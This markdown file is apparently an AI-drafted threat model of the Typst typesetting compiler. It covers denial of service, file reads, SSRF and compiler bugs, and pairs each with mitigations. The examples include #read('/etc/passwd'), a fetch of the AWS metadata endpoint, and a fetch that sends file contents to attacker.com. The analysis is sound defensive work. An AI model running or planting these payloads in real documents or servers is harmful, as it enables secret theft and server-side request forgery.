Skip to content

Latest commit

 

History

History
92 lines (74 loc) · 7.21 KB

attack-surface.md

File metadata and controls

92 lines (74 loc) · 7.21 KB

Attack Surface Analysis for typst/typst

Attack Surface: Malicious Typst Code (Resource Exhaustion)

ATTACK SURFACE ANALYSIS: Okay, here's the updated key attack surface list, focusing only on elements directly involving Typst code or the Typst compiler/runtime itself, and including only High and Critical severity risks. I've removed the image and font handling, as those are indirect (though important) attack vectors.

Key Attack Surfaces of Typst Integration (Direct, High/Critical)

This list focuses on vulnerabilities directly exploitable through Typst code or the compiler.

  • Attack Surface: Malicious Typst Code (Resource Exhaustion)

    • Description: Attackers submit Typst code designed to consume excessive server resources (CPU, memory), leading to denial of service.
    • Typst Contribution: Typst's Turing-completeness allows for complex computations and potential infinite loops or excessive memory allocation.
    • Example: 
      #let x = 1
#while x < 1000000000 {
  #let x = x + 1
}
      Or, a deeply recursive function without a proper base case, or allocating a huge array.
    • Impact: Denial of Service (DoS) – the server becomes unresponsive, affecting all users.
    • Risk Severity: High
    • Mitigation Strategies:
      • Strict Timeouts: Impose short, strict timeouts on the Typst compilation process (e.g., a few seconds). Terminate any compilation exceeding the timeout.
      • Memory Limits: Limit the maximum amount of memory a Typst process can allocate.
      • Resource Monitoring: Monitor CPU and memory usage of Typst processes. Alert on or automatically terminate processes exceeding predefined thresholds.
      • WebAssembly (Wasm) Sandboxing: If compiling Typst to Wasm, leverage Wasm's built-in memory safety and resource limitations.
      • Static Analysis (Limited): Implement basic static analysis to detect obvious infinite loops (e.g., while true) or excessively large constant values. This is not a complete solution.

Attack Surface: Malicious Typst Code (File System Access)

  • Attack Surface: Malicious Typst Code (File System Access)

    • Description: Attackers attempt to use Typst code to read, write, or delete files on the server.
    • Typst Contribution: Typst's #read() function (and any other file I/O capabilities) provides a direct pathway to the file system if not properly restricted.
    • Example: 
      #read("/etc/passwd") // Attempt to read a sensitive system file
      Or, attempting to write to a file outside the designated temporary directory.
    • Impact: Information disclosure (reading sensitive files), data corruption/deletion, potential full system compromise.
    • Risk Severity: Critical
    • Mitigation Strategies:
      • Disable File I/O: If file access is not absolutely essential, disable the #read() function and any other file I/O capabilities entirely. This is the most secure option.
      • Strict Whitelisting: If file access is required, implement a very strict whitelist of allowed file paths. Only permit access to specific, pre-approved files or directories (e.g., a temporary directory for image uploads). Never allow access based on user-provided paths.
      • Chroot Jail/Containerization: Run the Typst compiler in a chroot jail or container that restricts its file system view to a very limited, isolated directory.
      • AppArmor/SELinux: Use mandatory access control systems like AppArmor or SELinux to enforce fine-grained file system access restrictions on the Typst process.

Attack Surface: Malicious Typst Code (External Data Fetching / SSRF)

  • Attack Surface: Malicious Typst Code (External Data Fetching / SSRF)

    • Description: Attackers use Typst code to make the server send requests to arbitrary URLs, potentially exploiting internal services or exfiltrating data.
    • Typst Contribution: A hypothetical #fetch() function or any capability to include content from external URLs within Typst code.
    • Example: 
      // Hypothetical example, assuming a #fetch function exists
#fetch("http://169.254.169.254/latest/meta-data/") // AWS metadata endpoint
#fetch("http://internal-api.example.com/sensitive-data")
#fetch("http://attacker.com/exfiltrate?data=" + encode(read("/tmp/data")))
    • Impact: Server-Side Request Forgery (SSRF), data exfiltration, DoS of external services.
    • Risk Severity: Critical
    • Mitigation Strategies:
      • Disable External Fetching: If external data fetching is not essential, disable it completely.
      • Strict URL Whitelist: If external fetching is required, implement a very strict whitelist of allowed URLs. Only permit requests to known, trusted domains. Never allow user-provided URLs directly.
      • Network Isolation: Run the Typst compiler in a network namespace that has limited or no access to the external network or internal services.
      • DNS Resolution Control: Control DNS resolution within the Typst environment to prevent it from resolving internal hostnames.

Attack Surface: Compiler Bugs

  • Attack Surface: Compiler Bugs

    • Description: Exploiting undiscovered vulnerabilities within the Typst compiler itself, triggered by specially crafted Typst input.
    • Typst Contribution: The complexity of the compiler makes it a potential target for sophisticated attacks.
    • Example: A crafted Typst input that triggers an integer overflow, buffer overflow, or other memory corruption bug within the compiler, leading to unexpected behavior or code execution. This is highly specific to the compiler's internal implementation and would likely require deep understanding of the compiler's code.
    • Impact: Arbitrary code execution, denial of service, information disclosure.
    • Risk Severity: High
    • Mitigation Strategies:
      • Fuzzing: Regularly fuzz the Typst compiler with a wide variety of inputs to identify and fix bugs. This is a crucial mitigation.
      • Code Audits: Conduct regular security audits of the Typst compiler codebase, focusing on areas handling user input and memory management.
      • Memory Safety (Rust): Leverage Rust's memory safety features to prevent many common vulnerabilities. However, unsafe code blocks should be carefully scrutinized.
      • Stay Updated: Keep the Typst compiler and its dependencies up-to-date to benefit from security fixes.
      • Sandboxing: Run the compiler in a sandboxed environment to limit the impact of a successful exploit.

This list prioritizes the most direct and severe threats stemming from Typst's code execution capabilities and the compiler itself. It emphasizes proactive measures like fuzzing and strict input/output control.